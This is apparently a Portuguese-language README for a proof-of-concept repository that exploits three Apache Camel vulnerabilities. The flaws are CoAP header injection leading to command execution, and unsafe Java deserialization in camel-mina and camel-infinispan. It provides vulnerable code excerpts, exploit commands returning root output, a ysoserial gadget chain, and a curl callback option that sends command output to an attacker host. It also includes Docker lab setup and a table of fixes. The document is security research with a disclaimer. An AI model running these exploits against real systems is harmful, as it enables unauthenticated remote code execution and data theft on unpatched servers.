
Fornece exploits de prova de conceito funcionais e análise detalhada para três vulnerabilidades críticas do Apache Camel, incluindo injeção de cabeçalho CoAP e desserialização insegura que levam à execução remota de código.
| CVE | Componente | Tipo | CVSS | Veredito |
|---|
| CVE-2026-33453 | camel-coap | Injeção de Cabeçalho → RCE | 10.0 Crítico | Explorável |
| CVE-2026-40473 | camel-mina | Desserialização Insegura → RCE | 9.8 Crítico | Explorável |
| CVE-2026-40858 | camel-infinispan | Desserialização Insegura | 8.8 Alto | Explorável |
Componente: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (Modificação Controlada de Forma Incorreta de Atributos de Objetos)
Corrigido em: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() mapeia parâmetros de consulta URI CoAP diretamente nos cabeçalhos do Camel Exchange via setHeader() sem HeaderFilterStrategy. CoAPEndpoint estende DefaultEndpoint em vez de DefaultHeaderFilterStrategyEndpoint, portanto cabeçalhos internos com prefixo Camel* podem ser injetados por qualquer cliente não autenticado.
Quando a rota encaminha para camel-exec, os cabeçalhos controlados pelo atacante CamelExecCommandExecutable e CamelExecCommandArgs sobrescrevem o comando configurado, alcançando RCE pré-autenticado via um único pacote UDP.
// CamelCoapResource.java:103-109 — SEM HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Resposta: 2.05
[+] Saída do comando: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Saída do comando: app bin boot dev etc home lib ...
Componente: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (Desserialização de Dados Não Confiáveis)
Corrigido em: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) cria um java.io.ObjectInputStream bruto sem ObjectInputFilter. Quando um endpoint MINA é configurado com allowDefaultCodec=false, dados TCP brutos chegam como um IoBuffer e alcançam o conversor de tipos do Camel, que chama este método — envolvendo bytes de rede controlados pelo atacante em um ObjectInputStream sem filtro.
// MinaConverter.java:60-63 — SEM ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // bytes controlados pelo atacante, SEM FILTRO
}
Caminho de ataque: O exploit visa um endpoint TCP MINA com allowDefaultCodec=false (porta 9879 no PoC). Isso contorna completamente a camada de codec do MINA — a ObjectSerializationCodecFactory tem sua própria lista de permissões ClassNameMatcher que, de outra forma, bloquearia classes arbitrárias. Com o codec desabilitado, bytes brutos fluem diretamente para MinaConverter.toObjectInput() que cria um ObjectInputStream padrão com zero filtragem de classes.
Uma cadeia de gadgets CommonsCollections6 (via ysoserial) alcança execução arbitrária de comandos como root. A saída do comando é exfiltrada via um callback curl para o atacante.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Saída do comando:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMADO: CVE-2026-40473 RCE — comando executado via desserialização
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Saída do comando:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (gadget CommonsCollections6)cd poc/
docker compose up -d --build
Aguarde o contêiner iniciar e verifique:
docker logs vuln-camel-mina
Você deve ver:

[*] Servidor MINA vulnerável iniciado
[*] Porta 9877: endpoint transferExchange (desserialização Java)
[*] Porta 9878: endpoint codec de serialização de objetos
[*] Porta 9879: endpoint TCP bruto (MinaConverter.toObjectInput)
[*] Aguardando conexões...
A porta 9879 é o alvo — ela usa allowDefaultCodec=false, que desabilita o filtro de codec do MINA e permite que IoBuffer bruto alcance o MinaConverter.toObjectInput() sem filtro do Camel.
Primeiro, verifique se o endpoint aceita e desserializa objetos Java arbitrários sem ObjectInputFilter:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Modo sonda — confirmando desserialização (sem RCE)
[*] Payload: HashMap (82 bytes, bruto — sem frame MINA)
[+] Conectado ao endpoint MINA
[+] Payload enviado
[+] Dados alcançaram readObject() sem rejeição de filtro
A sonda envia um HashMap serializado. O servidor o desserializa via ObjectInputStream.readObject() sem InvalidClassException — confirmando zero filtragem de classes.
Com ysoserial disponível, explore a desserialização sem filtro para execução arbitrária de comandos:
# Executar 'id' — retorna uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Ler arquivos
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Informações do sistema
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
O exploit gera uma cadeia de gadgets CommonsCollections6, envia como bytes brutos para a porta 9879 e captura a saída do comando via um listener de callback curl.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target IP/hostname alvo
port Porta TCP MINA (padrão: 9879)
command Comando a executar (padrão: id)
--ysoserial Caminho para ysoserial.jar (auto-detectado se não definido)
--callback-host Host que o contêiner usa para alcançá-lo (padrão: host.docker.internal)
--gadget Cadeia de gadgets ysoserial (padrão: auto — tenta CC6, CC5, CC1)
--probe Apenas modo sonda — confirmar desserialização sem RCE
--raw Enviar payload bruto sem frame de 4 bytes MINA (auto-habilitado para porta 9879)
Nota: O --callback-host padrão é host.docker.internal (Docker Desktop). Se estiver executando no Linux sem Docker Desktop, use --callback-host 172.17.0.1 ou o IP da sua bridge Docker.
cd poc/
docker compose down
Componente: camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE: CWE-502 (Desserialização de Dados Não Confiáveis)
Corrigido em: Camel 4.18.2 / 4.14.7 / 4.20.0
DefaultExchangeHolderUtils.deserialize(byte[]) cria um ClassLoadingAwareObjectInputStream sem ObjectInputFilter. O DefaultExchangeHolderProtoAdapter roteia bytes de cache Infinispan diretamente para este método. Um atacante com acesso de escrita ao cache (porta Hot Rod 11222 ou API REST) injeta um payload serializado malicioso que é desserializado quando o repositório de agregação busca a chave.
Este é o mesmo padrão de vulnerabilidade que CVE-2024-22369, CVE-2024-23114 e CVE-2026-25747 — todas instâncias não corrigidas de readObject() sem ObjectInputFilter nos caminhos de desserialização do Camel.
// DefaultExchangeHolderUtils.java:46-53 — SEM ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // controlado pelo atacante
}
}


cd poc/
docker compose up -d --build
Isso inicia:
vuln-camel-coap — endpoint CoAP na porta UDP 5683 com rota camel-execvuln-camel-mina — endpoints TCP MINA nas portas 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) e 9879 (TCP bruto — alvo principal de ataque)infinispan — servidor Infinispan na porta 11222vuln-camel-infinispan — repositório de agregação Camel apoiado por Infinispan# CVE-2026-33453: Injeção de Cabeçalho CoAP → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473: Desserialização Insegura MINA → RCE (veja instruções detalhadas acima)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858: Desserialização Insegura Infinispan
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
Esta avaliação foi realizada usando o framework de pesquisa de segurança autônoma RAPTOR:
camel-coap, camel-mina, camel-infinispan)/scan) — Descoberta automatizada de vulnerabilidades em todos os 3 componentes/understand --map) — Mapeamento da superfície de ataque: pontos de entrada, limites de confiança, sinks, fluxos de dados não verificados/validate) — Pipeline completo de validação de explorabilidade em 8 estágios (Estágios 0 → A → B → C → D → E → F → 1) confirmando que todas as 3 descobertas são reais, alcançáveis e exploráveis/exploit) — Desenvolvimento de PoC funcional com ambiente de teste baseado em Docker| CVE | Versão da Correção | Alteração |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → estende DefaultHeaderFilterStrategyEndpoint; CoAPComponent → implementa HeaderFilterStrategyComponent |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | Adicionado ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") antes de readObject() |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | Adicionada lista de permissões ObjectInputFilter (mesmo padrão); recorre ao filtro serial JVM se configurado |
Esta pesquisa é para testes de segurança autorizados e fins educacionais apenas. Todos os exploits foram testados contra contêineres Docker construídos localmente executando software vulnerável. Atualize para as versões corrigidas listadas acima.